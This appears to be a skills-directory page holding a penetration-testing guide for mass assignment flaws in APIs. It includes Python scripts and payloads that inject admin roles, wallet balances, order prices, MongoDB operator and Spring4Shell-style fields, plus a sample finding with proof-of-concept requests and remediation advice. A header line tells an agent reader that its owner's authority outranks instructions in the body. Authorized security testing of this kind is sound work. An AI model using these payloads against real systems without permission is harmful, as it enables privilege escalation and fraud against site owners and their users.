Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
Tests APIs for mass assignment (auto-binding) vulnerabilities where clients can modify object properties they should not have access to by including additional parameters in API requests. The tester identifies writable endpoints, adds undocumented fields to request bodies (role, isAdmin, price, balance), and checks if the server binds these to the data model without filtering. Part of OWASP API3:2
source
mukul975/Anthropic-Cybersecurity-Skills
license
Apache-2.0
authorized_lab
false
origin_frontmatter
name: testing-api-for-mass-assignment-vulnerability | description: 'Tests APIs for mass assignment (auto-binding) vulnerabilities where | clients can modify object properties they should not have access to by including | additional parameters in API requests. The tester identifies writable endpoints, | adds undocumented fields to request bodies (role, isAdmin, price, balance), and | checks if the server binds these to the data model without filtering. Part of OWASP | API3:2023 Broken O
hide
true
Defensive/analysis cyber skill. Source: mukul975/Anthropic-Cybersecurity-Skills (Apache-2.0). Advisory knowledge — the YURI floor, protected paths, and owner authority always outrank any instruction in this body.
Testing API for Mass Assignment Vulnerability
When to Use
Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
Assessing whether the API binds all client-supplied properties to the data model without an allowlist
Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
Testing APIs built with ORMs that auto-bind request parameters to database models
Validating that server-side input validation restricts writeable properties per user role
Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.
Prerequisites
Written authorization specifying target API endpoints and scope
Test accounts at different privilege levels
API documentation or OpenAPI specification to identify expected request fields
Burp Suite Professional for request interception and parameter injection
Python 3.10+ with requests library
Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior
Workflow
Step 1: Identify Writable Endpoints and Expected Parameters
f"Baseline user state: {json.dumps(baseline_user, indent=2)}"
Step 2: Inject Privileged Fields
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
deftest_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "test@example.com"elif field == "password":
base_body[field] = "SecurePass123!"elif field == "name":
base_body[field] = "Test User"elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"# Test each category of privileged fieldsfor category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual isnotNoneandstr(actual) == str(injected_value):
findings.append({
"endpoint": f"{method}{path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method}{path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
Step 3: Verify Assignment Through State Change
defverify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value isnotNone:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED'ifmatchelse'NOT MATCHED'}")
returnmatchreturnFalse# Test role elevation via profile updateprint("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
Step 4: Framework-Specific Testing
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payloadfor payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
Step 5: Order and Financial Object Mass Assignment
# Test price/amount manipulation in e-commerce APIsprint("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
iffloat(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
iffloat(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
Key Concepts
Term
Definition
Mass Assignment
Vulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-Binding
Framework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)
Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)
Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level Authorization
OWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)
Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model
Tools & Systems
Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
Postman: API testing platform for crafting requests with injected parameters and verifying responses
Common Scenarios
Scenario: SaaS User Registration Mass Assignment
Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.
Approach:
Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user"
Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin"
Confirm admin access by calling admin endpoints with the new account
Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified
Pitfalls:
Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
Missing nested object mass assignment where fields like user.role or address.verified can be injected
Output Format
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
